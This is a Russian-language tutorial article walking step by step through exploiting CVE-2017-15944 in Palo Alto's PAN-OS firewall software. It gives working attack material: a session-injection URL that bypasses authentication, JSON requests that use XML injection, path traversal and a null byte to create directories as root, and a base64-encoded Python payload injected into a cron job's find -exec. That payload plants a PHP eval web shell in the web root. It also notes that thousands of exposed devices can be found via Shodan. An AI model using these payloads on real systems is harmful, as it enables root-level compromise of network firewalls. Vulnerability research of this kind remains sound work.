Следующая новость
Предыдущая новость

Гасим файерволл. Учимся эксплуатировать критическую уязвимость в ОС Palo Alto Networks

16.03.2018 12:56
Гасим файерволл. Учимся эксплуатировать критическую уязвимость в ОС Palo Alto Networks

Содержание статьи

  • Обход авторизации
  • Создание директорий
  • Дорога к RCE
  • Демонстрация уязвимости (видео)
  • Выводы

Palo Alto Networks — один из крупнейших секьюрити-провайдеров. Файрволы этой компании работают на собственной ОС с приятным русскому уху названием PAN-OS. В ней-то недавно и нашли уязвимости, которые приводят к удаленному исполнению кода от имени суперпользователя без какой-либо авторизации. Хочешь узнать, как такие серьезные ребята смогли так облажаться? Давай разберемся!

Всего было найдено три уязвимости в реализации веб-интерфейса управления аппаратными брандмауэрами. Цепочка из них позволяет выполнить произвольный код от имени суперпользователя и скомпрометировать всю систему. Они получили один идентификатор CVE-2017-15944. Давай посмотрим на них поближе.

Для тестирования подойдет любая из этих версий системы:

  • PAN-OS 6.1.18 и ниже,
  • PAN-OS 7.0.18 и ниже,
  • PAN-OS 7.1.13 и ниже,
  • PAN-OS 8.0.5 и ниже.

Да, уязвимы почти все актуальные ветки, но вот одна беда — просто так заполучить их не выйдет, потому что PAN-OS поставляется только в комплекте с фирменными аппаратными файрволами. Если у тебя завалялся такой под рукой, то ты, конечно же, можешь перейти на официальный сайт в раздел загрузок и скачать нужную прошивку. Если такой возможности нет, то, увы, поднять стенд не получится и придется наблюдать за ходом эксплуатации в статье. Если придумаешь иной способ, не забудь сообщить. ????

Обход авторизации

Разумеется, все функции панели управления закрыты от любопытных глаз при помощи логина и пароля, и первый баг, о котором пойдет речь, — это небольшой ее обход. В качестве веб-сервера в PAN-OS используется некая солянка из технологий, которая включает несколько самописных библиотек.

Конфигурационный файл /etc/appweb3/conf/common.conf содержит список объектов, которые закрыты авторизацией. Выглядят такие секции следующим образом:

/etc/appweb3/conf/common.conf
144: <Location /php/monitor>   145:   SetHandler phpHandler   146:   panAuthCheck on 147: </Location> 148: <Location /php/utils> 149:   SetHandler phpHandler   150:   panAuthCheck on 151: </Location> 152: <Location /php>  153:   panAuthCheck on 154: </Location> 155: <Location /PAN_help> 156:   panAuthCheck on 157: </Location> ... 162: <Location /upload> 163:      panAuthCheck on 164:      AddInputFilter uploadFilter 165: </Location> 

Директивы panAuthCheck, установленные в on, закрывают указанный URI авторизационной формой. При попытке перейти по такому адресу текущая сессия пользователя проверяется на наличие валидной аутентификации. За это отвечает библиотека /usr/local/lib/shobjs/libpanApiWgetFilter.so.

/etc/appweb3/conf/common.conf
60: LoadModulePath "/usr/local/lib/shobjs:/usr/local/lib32/shobjs" 61: LoadModule panappweb3Module libpanappweb3 62: LoadModule panApiWgetFilter libpanApiWgetFilter 63: LoadModule panAuthFilter libpanApiWgetFilter 

Затем функция openAuthFilter проверяет наличие сессионной куки PHPSESSID и передает управление функции readSessionVarsFromFile для загрузки и извлечения нужных переменных (dloc и user) из файла сессии.

libpanApiWgetFilter.c
1282: void __cdecl openAuthFilter(MaQueue_0 *q) 1283: { ... 1310:   if ( getCookieValues(&myFuncResult, ptrMyAuthFilter) ) ... 1320:     v1 = maGetStageData(ptrMyAuthFilter->conn, "panAuthFilter.PHPSESSID"); ... 1321:     hasSessionCookie = v1 != 0; 1322:     if ( v1 != 0 ) 1323:     { 1324:       if ( readSessionVarsFromFile(ptrMyFuncResult, ptrMyAuthFilter) ) 
libpanApiWgetFilter.c
818: pan_result_t __cdecl readSessionVarsFromFile(ptrFuncResult result, ptrAuthFilter me) 819: { ... 845:   ssid = myGetStageData(me->conn, "panAuthFilter.PHPSESSID"); ... 847:   path = (pan_char_t *)__pan_calloc(me->allocator, 1, pathSize); 848:   if ( path ) 849:   { 850:     sprintf(path, "%s%s%s", "/tmp/", "sess_", ssid); 851:     fp = fopen(path, "r"); 

Проблемное место — это кастомная реализация алгоритма, который читает переменные сессии. Вместо того чтобы воспользоваться какой-нибудь стандартной функцией для работы с сериализованными данными, разработчики написали свою, которая основана на цепочке вызовов strtok для разбиения строки на части.

libpanApiWgetFilter.c
886:             fseek(fp, 0, 0); 887:             if ( fread(buf, sbuf.st_size, 1u, fp) == 1 ) 888:             { 889:               fclose(fp); 890:               buf[sbuf.st_size] = 0; 891:               delim = "|"; 892:               remaining = 0; 893:               skey = strtok_r(buf, "|", &remaining); 894:               do 895:               { 896:                 if ( !skey ) 897:                   break; 898:                 if ( !remaining ) 899:                   break; 900:                 remaining2 = 0; 901:                 ptType = strtok_r(remaining, ":", &remaining2); 902:                 if ( !ptType ) 903:                   break; 904:                 strtok_r(0, ":", &remaining2); ... 920:                   skey = strtok_r(remaining2, delim, &remaining); ... 924:                   tSkeyValue = strtok_r(0, ";", &remaining2); 925:                   if ( *ptType == 115 ) 926:                   { 927:                     tSkey = 0; 928:                     if ( !strcasecmp("dloc", skey) ) 929:                     { 930:                       tSkey = "panAuthFilter.dloc"; 931:                     } 932:                     else if ( !strcasecmp("user", skey) ) 933:                     { 934:                       tSkey = "panAuthFilter.user"; 935:                     } 936:                     if ( tSkey && tSkeyValue && *tSkeyValue ) 937:                     { ... 950:                   skey = strtok_r(0, delim, &remaining2); 951:                   remaining = remaining2; ... 954:               while ( skey && *skey != 10 ); 955:               if ( !maGetStageData(me->conn, "panAuthFilter.user") ) 956:                 mprLog( 957:                   globalMpr, 958:                   0, 959:                   "panAuthFilter:panAuthFiler: management cookie missing. file size %d", 960:                   sbuf.st_size); 961:               if ( !maGetStageData(me->conn, "panAuthFilter.dloc") ) 962:                 mprLog(globalMpr, 0, "panAuthFilter:panAuthFilter: dloc cookie missing. file size %d", sbuf.st_size); 963:               __pan_free(me->allocator, path, pathSize); 964:               __pan_free(me->allocator, buf, bufSize); 965:               v3 = 0; 966:             } 

Сам формат обрабатываемых данных похож на то, что возвращает функция serialize в PHP.

имя_переменной|s:длина_переменной:"значение"; имя_переменной|s:длина_переменной:"еще_значение"; 

И так далее. Для разделения описаний переменных используется точка с запятой. Увы, такая реализация содержит логические изъяны, которые помогут нам в дальнейшей эксплуатации. Например, мы можем выполнять банальные инъекции, используя в качестве их значений последовательность ";. Так можно управлять значением переменной user.

Теперь осталось найти возможность, которая позволит нам записать данные в файл сессии. Посмотрим на скрипт cms_changeDeviceContext.esp, в котором происходит работа с переменной $_SESSION. Его можно вызвать без авторизации.

/var/appweb/htdocs/esp/cms_changeDeviceContext.esp
02: WebSession::start(); 03: require 'panmodule.php'; 04:  05: foreach ($_SESSION as $key => $value) { 06:  if (strpos($key, "dSId_") === 0) { 07:   unset($_SESSION[$key]); 08:  } 09: } 10: /** @noinspection PhpUndefinedFunctionInspection */ 11: $string_argout = panUserSetDeviceLocation($_SESSION['user'], $_GET['device'], 0, new php_string_argout()); 

Функция panUserSetDeviceLocation находится в подгружаемой библиотеке /usr/lib/php/modules/panmodule.so.

/etc/appweb3/php.ini
455: extension_dir = "/usr/lib/php/modules" ... 552: extension=panmodule.so 

Чтобы посмотреть, что происходит с переданными в функцию параметрами, нам пригодится дизассемблер IDA. Благо сейчас есть бесплатная версия — ее нам вполне хватит, потому что библиотека скомпилирована для архитектуры Intel 80386.

Гасим файерволл. Учимся эксплуатировать критическую уязвимость в ОС Palo Alto Networks
Дизассемблирование функции panUserSetDeviceLocation

Атрибут deviceStr попадает в функцию из URL параметра device (переменная $_GET['device']). Далее значение попадает в panPhpConvertStringToLoc.

panmodule.c
18464: pan_uint32_t __cdecl panUserSetDeviceLocation(char *cookie, char *deviceStr, int useWriteFmt, php_string_argout *string_argout) 18465: { ... 18498:   if ( panPhpConvertStringToLoc(deviceStr, &dloc) ) 

Логика работы со значением примерно следующая.

Гасим файерволл. Учимся эксплуатировать критическую уязвимость в ОС Palo Alto Networks
Логика работы функции panPhpConvertStringToLoc

Значение до первого двоеточия конвертируется в десятичное целое.

panmodule.c
19354:   strcpy(seps, ":"); ... 19362:     v3 = __strtok_r(strCopy, seps, (char **)tmpBuf); 19363:     if ( v3 ) ... 19377:           loc->loc = strtol(v3, 0, 10); 

Производится поиск следующего двоеточия, и данные между двумя двоеточиями копируются в переменную deviceName. Размер данных равен максимум 0x20 байтам. Если переданное значение оказалось большего размера, то все остальное отбрасывается.

19370:           if ( v4 == 1 ) 19371:             sstrncpy(loc->deviceName, v3, 32); 

Далее идет поиск следующего символа с двоеточием и выполняется аналогичная операция, только для переменной vsysName.

19373:             sstrncpy(loc->vsysName, v3, 32); 

После этого полученная переменная deviceName отправляется в функцию panPhpSetDeviceForSession для дальнейшей обработки.

18505:     v4 = panPhpSetDeviceForSession(cookie, dloc.deviceName, errMsg, 0x200u); ... 20823: signed int __cdecl panPhpSetDeviceForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t bufSize) 20824: { ... 20829:   pan_char_t firstVsys[32]; // [sp+30h] [bp-2Ch]@6 ... 20846:     sstrncpy(firstVsys, "vsys1", 32); 

В процессе выполнения этой функции происходит вызов panPhpSetDeviceAndVsysForSession, которая устанавливает значения переменных dloc и loc в соответствии с переданными данными.

19328:   panPhpSetSessionVar("dloc", tmpLocStr); 19329:   tmpLoc.loc = (unsigned int)panSwalIsVsysName(vsysName) < 1 ? 128 : 16; 19330:   if ( vsysName ) 19331:   { 19332:     if ( !*vsysName ) 19333:       tmpLoc.loc = 8; 19334:     sstrncpy(tmpLoc.vsysName, vsysName, 32); 19335:     panPhpConvertLocToString(&tmpLoc, tmpLocStr, 0x100u); 19336:     panPhpSetSessionVar("loc", tmpLocStr); 

Сделаем вот такой запрос:

https://panos.visualhack:4443/esp/cms_changeDeviceContext.esp?device=1024:aaaa:bbbb 

Гасим файерволл. Учимся эксплуатировать критическую уязвимость в ОС Palo Alto Networks
Запрос на создание файла сессии и записи в нее переменных

После чтения данных сессии переменные будут иметь следующие значения:

dloc|s:6:"8:aaaa";loc|s:13:"16:aaaa:vsys1";  dloc|s:6:"8:aaaa"; loc|s:13:"16:aaaa:vsys1";  dloc = "8:aaaa" loc  = "16:aaaa:vsys1" 

Теперь при каждом запросе будет проверяться валидность сессии при помощи panCheckSessionExpired, в рамках которой будет выполняться panBuildQueryCheckSessionExpired из уже известной нам библиотеки /usr/local/lib/shobjs/libpanApiWgetFilter.so.

libpanApiWgetFilter.c
1058: pan_result_t __cdecl panCheckSessionExpired(ptrFuncResult result, ptrAuthFilter me) 1059: { ... 1079:   retval = panBuildQueryCheckSessionExpired(&myFuncResult, me, 0); 
libpanApiWgetFilter.c
1037: pan_result_t __cdecl panBuildQueryCheckSessionExpired(ptrFuncResult result, ptrAuthFilter me, bool refresh) 1038: { 1039:   pan_char_t *user; // ST1C_4@1 1040:   const char *v4; // eax@2 1041:   int v6; // [sp+Ch] [bp-1Ch]@1 1042:  1043:   user = myGetStageData(me->conn, "panAuthFilter.user"); 1044:   pan_string_buffer_appendf(result->data.str, "<request cmd='op' cookie='%s' %s", user, &unk_8665); 1045:   if ( refresh ) 1046:     v4 = "yes"; 1047:   else 1048:     v4 = "no"; 1049:   pan_string_buffer_appendf(result->data.str, " refresh='%s'>", v4, v6); 1050:   pan_string_buffer_append(result->data.str, "<operations xml='yes'><show><cli><idle-timeout/></cli></show>"); 1051:   pan_string_buffer_append(result->data.str, "</operations></request>"); 1052:   return 0; 1053: } 

Эта функция формирует XML-запрос к бэкенду, который должен дать ответ о жизнеспособности используемой сессии.

Чтобы выполнение перешло в эту ветку кода, нужна переменная user. Это не проблема, ведь у нас на примете имеется не совсем корректно написанный парсер данных из файла сессии. Все, что нам нужно, — это заинжектить требуемую переменную.

https://panos.visualhack:4443/esp/cms_changeDeviceContext.esp?device=1024:aaaa%27";user|s: 

Гасим файерволл. Учимся эксплуатировать критическую уязвимость в ОС Palo Alto Networks
Инъекция переменной в сессию

Здесь:

dloc|s:15:"8:aaaa'";user|s";loc|s:22:"16:aaaa'";user|s:vsys1";  dloc|s:15:"8:aaaa'"; user|s";loc|s:22:"16:aaaa'"; user|s:vsys1"; 

После такого запроса переменная user (panAuthFilter.user) становится равной 16:aaaa'. А результатом работы функции panBuildQueryCheckSessionExpired будет следующий XML-запрос:

<request cmd='op' cookie='16:aaaa''  refresh='no'> <operations xml='yes'> <show><cli><idle-timeout/></cli></show> </operations> </request> 

Дополнительная одинарная кавычка делает XML невалидным, и парсер вернет ошибку вида

<response status="error" code="18"> <msg> <line>Malformed Request</line> </msg> </response> 

Однако функция panCheckSessionExpired все равно вернет единицу, это будет означать, что аутентификация пройдена и сессия валидна.

libpanApiWgetFilter.c
1337:           if ( panCheckSessionExpired(ptrMyFuncResult, ptrMyAuthFilter) == 2 ) 1338:           { ... 1341:           } 1342:           else 1343:           { 1344:             mprLog(globalMpr, 9, "panAuthFilter:openAuthFilter %s We are done!!!", ptrMyAuthFilter->conn->request->url); 1345:           } 

Проверить успешность обхода авторизации можно на отладочной странице: https://panos.visualhack:4443/php/utils/debug.php.

Гасим файерволл. Учимся эксплуатировать критическую уязвимость в ОС Palo Alto Networks
Успешный обход авторизации и загруженная страница отладки

После создания такой сессии ты сможешь ходить по папкам, которые закрыты директивой panAuthCheck.

Создание директорий

Переходим к следующей уязвимости. Как и в любой современной системе, в PAN-OS имеется API. Чтобы делать прямые запросы к нему, можно использовать скрипт route.php из папки с утилитами.

Однако доступ к скрипту возможен только для авторизованных пользователей. Это не проблема, ведь у нас уже имеется готовый обход. Так что смелее подставляй в запрос идентификатор сессии, полученный манипуляциями из прошлого раздела, и дело в шляпе.

/var/appweb/htdocs/php/utils/router.php
3: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/common.php'); 4: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/ExtDirect.php'); 5:  6: class ExtDirect_Router extends RouterAbstract { 7:     private $_api; 

Нужный метод можно вызывать, указывая его название после router.php. Например, чтобы выполнить Administrator.get, делаем запрос к https://panos.visualhack:4443/php/utils/router.php/Administrator.get. Все просто. По счастливой случайности это именно тот метод, что нам интересен. Сначала создается экземпляр класса ExtDirect_Router, который является наследником RouterAbstract.

/var/appweb/htdocs/php/utils/router.php
6: class ExtDirect_Router extends RouterAbstract { 7:     private $_api; ... 86: $router = new ExtDirect_Router(); 87: Http::headerType('json'); 88: echo $router->getResponse(); 

Метод getResponse вызывает dispatch, а в качестве аргумента использует данные, которые мы передаем в запросе в виде JSON.

/var/appweb/htdocs/php/include/RouterAbstract.php
111:     public function getResponse(array $requestData=array()) { 112:         if (empty($requestData)) 113:             $requestData=$GLOBALS; 114:  115:         return $this->dispatch($requestData); 116:     } 
/var/appweb/htdocs/php/include/RouterAbstract.php
25:     private function dispatch(array $requestData) { 26:         $request  = $this->parseRequest($requestData); 

Метод parseRequest использует функцию json_decode, чтобы представить переданные данные в виде объекта.

/var/appweb/htdocs/php/include/RouterAbstract.php
18:     protected function parseRequest(array $requestData) { 19:         if (isset($requestData['HTTP_RAW_POST_DATA'])) { 20:             return json_decode($requestData['HTTP_RAW_POST_DATA']); 21:         } 22:         return null; 23:     } 

Возьмем такой более-менее валидный запрос.

{     "action": "PanDirect",     "method": "execute",     "data": [         "07c5807d0d927dcd0980f86024e5208b",         "Administrator.get",         {             "changeMyPassword": true,             "template": "asd",             "id": "admin"         }     ],     "type": "rpc",     "tid": 713 } 

После того как JSON конвертируется в объект, метод rpc проверяет, существует ли указанный класс и метод из параметров action и method соответственно.

/var/appweb/htdocs/php/include/RouterAbstract.php
27:         $response = $this->rpc($request); 
/var/appweb/htdocs/php/include/RouterAbstract.php
49:     private function rpc($request) { 50:         try { 51:             $class  = Xml::escape($request->action); 52:             $method = Xml::escape($request->method); 53:             $tid = Xml::escape($request->tid); 54:             $params = $request->data; 55:  56:             $v=$this->isValidMethod($class, $method); 

Следующим шагом создается объект класса, который указан в $request->action, в нашем случае это PanDirect. Последующий вызов call_user_func_array приводит к выполнению PanDirect->execute где в качестве параметров указаны данные из массива data.

74:             $instance= new $request->action; ... 77:             $retval=call_user_func_array(array($instance,$method), $params); 

Логика этого метода следующая.

/var/appweb/htdocs/php/include/PanDirectLite.php
59:     function execute($callFunction, $jsonArgs) { 60:         /* @var $reflection ReflectionClass */ 61:         /* @var $method ReflectionMethod */ 62:         list($reflection, $isStatic, $method) = $this->checkValidRemoteCall($callFunction, true); 63:         if ($isStatic) { 64:             return $method->invokeArgs(NULL, array($jsonArgs)); 65:         } else { 66:             $obj = $reflection->newInstanceArgs(array($jsonArgs)); 67:             return $obj->$method(); 68:         } 69:     } 
  • checkValidRemoteCall выполняет проверку метода: объявлен он статическим или нет;

  • если да, то выполняется его прямой вызов. Если нет, то переменная $obj становится экземпляром указанного класса. В нашем случае это Administrator;

  • $obj->$method() вызывает указанный метод, в нашем случае это get.

Если в аргументах был указан флаг changeMyPassword, то происходит вызов метода getConfigByXpath.

/var/appweb/htdocs/php/device/Administrator.php
10: class Administrator extends ManagementConfigAbstraction { ... 85:     public function get() { ... 86:         // detail viewer 87:         if ( isset($this->jsonArgs->changeMyPassword) ) { 88:             return Direct::getConfigByXpath("/config/mgt-config/users/entry[@name='" . $this->jsonArgs->id . "']"); 

Этот метод формирует xpath, который будет отправлен бэкенду mgmtsrvr.

/var/appweb/htdocs/php/include/Direct.php
688:     static function getConfigByXpath($xpath, $attribute=null, $options=null) { 689:         $req = XmlRequest::get($xpath, $attribute); 690:         return $xmlDoc = Backend::getArray($req, $options); 691:     } 
/var/appweb/htdocs/php/include/Backend.php
377:     static function getArray($req, $options=NULL, $connectionOptions = null) { 378:         $dom = self::getDom($req, $connectionOptions); 
/var/appweb/htdocs/php/include/Backend.php
350:     static function getDom($msg, $connectionOptions = null) { 351:         $msg = self::massageMsg($msg); 352:         $data = self::getConnection()->send($msg, $connectionOptions); 
/var/appweb/htdocs/php/include/MSConnection.php
07: class MSConnection { ... 43:     function send($requestXml, $connectionOptions = null) { ... 50:             $this->writePayload($requestXml, $payloadLength); 
/var/appweb/htdocs/php/include/MSConnection.php
07: class MSConnection { ... 95:     public function writePayload(& $requestXml, $payloadLength) { 96:         socket_write($this->sock, $requestXml, $payloadLength); 97:     } 

В результате на сервер уходит вот такой XML:

<request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']" cookie="cb3824b1b1fd3ac7138682ed67e03b8e"/></request> 

При обработке полученного запроса демон mgmtsrvr выполняет функцию pan_mgmtsrvr_client_svc.

mgmtsrvr.c
3603: void *__cdecl __noreturn pan_mgmtsrvr_client_svc(void *arg) 3604: { 

И наконец, отрабатывает pan_jobmgr_store_job_result из огромной библиотеки /usr/local/lib/libpanmp_mp.so.1. Функция создает временный файл XML в директории /opt/pancfg/session/pan/user_tmp/{cookie}/{jobid}.xml, где cookie — это атрибут из тега request.

Гасим файерволл. Учимся эксплуатировать критическую уязвимость в ОС Palo Alto Networks
Дизассемблированный код функции pan_jobmgr_store_job_result

libpanmp_mp.so.1.c
401430: signed int __usercall pan_jobmgr_store_job_result@<eax>(int a1@<eax>, int a2@<edx>) 401431: { ... 401440:     if ( a1 ) 401441:     { 401442:       snprintf(&v5, 0x400u, "%s%s", "/opt/pancfg/session/pan/user_tmp/", *(_DWORD *)(a1 + 476)); 401443:       if ( pan_dir_create_tree(&v5) >= 0 ) 

Вот здесь и закралась проблема. Парсер никак не фильтрует пользовательские данные, поэтому возможна XML-инъекция, благодаря которой мы можем указать атрибут cookie. При обработке этой задачи будет создана папка с произвольным именем. А используя технику path traversal, мы можем выйти из указанной папки и создать директорию в любом месте на диске, так как все это дело отрабатывает от рута. ????

Вот такой запрос будет создавать папку jbfc в директории tmp:

{     "action": "PanDirect",     "method": "execute",     "data": [         "07c5807d0d927dcd0980f86024e5208b",         "Administrator.get",         {             "changeMyPassword": true,             "template": "asd",             "id": "admin']" async-mode='yes' refresh='yes' сookie='../../../../../../tmp/jbfc'/>u0000"         }     ],     "type": "rpc",     "tid": 713 } 

Чтобы отбросить те атрибуты, которые добавляет вызов XmlRequest::get($xpath, $attribute), воспользуемся старым добрым null-байтом.

/var/appweb/htdocs/php/include/XmlRequest.php
39:     static function get($xpath, $attributes = null) { 40:         return sprintf('<request cmd='get' obj="%s" cookie="%s"%s></request>', 41:             $xpath, Session::cookie(), self::appendAttributes($attributes)); 42:     } 

Дорога к RCE

Наконец-то мы приблизились к самому интересному — выполнению произвольных команд в системе.

Такие сложные системы не обходятся без планировщика заданий, вот и здесь крутится демон cron и выполняет разные скрипты. Один из них — это /usr/local/bin/genindex_batch.sh, он вызывает /usr/local/bin/genindex.sh, который отвечает за переиндексацию данных в БД.

/usr/local/bin/genindex_batch.sh
9: /usr/local/bin/genindex.sh $date >> /var/log/pan/indexgen.log 2>&1 

Здесь есть интересный кусок кода, который выполняет поиск файлов в директории $PAN_BASE_DIR/logdb/$dir/1 (/opt/pancfg/mgmt/logdb/$dir/1).

genindex_batch.sh
2: export PAN_BASE_DIR=/opt/pancfg/mgmt 
/usr/local/bin/genindex.sh
222:    echo "Updating indices for $db db" 223:    for day in `find $PAN_BASE_DIR/logdb/$dir/1 -mindepth 1 -maxdepth 1 -mtime -30 | sort -r` 

Затем скрипт пробегает по полученному списку и выполняет некие команды. Нас интересуют не сами команды, а то, что имя директории (переменная $day) попадает в исполняемую строку.

/usr/local/bin/genindex.sh
227:      for logfile in `find $day -mmin +5 -name pan.*.log | sort -r` 

Теперь, используя описанную технику создания директорий с произвольным именем, мы сможем внедрить параметры в вызов бинарника find. Далеко ходить не нужно, ведь у него есть замечательный параметр [-exec](http://man7.org/linux/man-pages/man1/find.1.html).

Название говорит само за себя: после каждого найденного файла выполняется указанная там команда. UNIX-подобные системы относятся к названиям файлов и каталогов далеко не так строго, как Windows. По большому счету запрещены только символы слеша (/) и null-байт (), все остальное можно спокойно использовать. В PoC для исполнения команд используется Python и Base64.

f=open('/var/appweb/htdocs/poc.php', 'w');f.write("<?php @eval($_POST['jbfcthere']);?>");f.close();  python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvcG9jLnBocCcsICd3Jyk7Zi53cml0ZSgiPD9waHAgQGV2YWwoJF9QT1NUWydqYmZjdGhlcmUnXSk7Pz4iKTtmLmNsb3NlKCk7".decode("base64")) 

В качестве демонстрации указан набор команд, которые создают PHP-шелл, доступный из браузера. По умолчанию веб-рут располагается по адресу /var/appweb/htdocs/, поэтому файл poc.php создается именно там.

{     "action": "PanDirect",     "method": "execute",     "data": [         "07c5807d0d927dcd0980f86024e5208b",         "Administrator.get",         {             "changeMyPassword": true,             "template": "asd",             "id": "admin']" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvcG9jLnBocCcsICd3Jyk7Zi53cml0ZSgiPD9waHAgQGV2YWwoJF9QT1NUWydqYmZjd2FzaGVyZSddKTs/PiIpO2YuY2xvc2UoKTs=".decode("base64")) ;'/>u0000"         }     ],     "type": "rpc",     "tid": 713 } 

Разумеется, ты можешь использовать свои команды, только обрати внимание: иногда в Base64 встречаются слеши, не забывай их экранировать. Также держи в уме, что размер названия может быть не больше 255 символов.

После того как запрос выполнится, нужно подождать, пока выполнится задача по индексации. Она отрабатывает на 0, 15, 30 и 45-й минуте каждого часа, то есть каждые пятнадцать минут.

/etc/cron.d/indexgen
SHELL=/bin/bash  0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh 

Готовые PoC ты можешь найти тут и тут.

Демонстрация уязвимости (видео)

Выводы

Вот такие интересные уязвимости нашлись в операционке устройства, которое за немалые деньги защищает корпоративную безопасность. Хоть в официальном руководстве и говорится о том, что панелька, доступная из интернета, — это bad practice, подобные решения частенько встречаются. Например, нехитрым запросом в Shodan можно отыскать несколько тысяч таких устройств, спокойно доступных извне.

Хочу также напомнить, что команды атакующего выполняются от имени суперпользователя. Это значит, что система будет скомпрометирована полностью. А если учесть, что это файрвол, то импакт от такой атаки может стать колоссальным.

Тем не менее баги закрыты, патчи выпущены, спеши обновиться, если в твоем ведении одна из таких машин.

Источник

Последние новости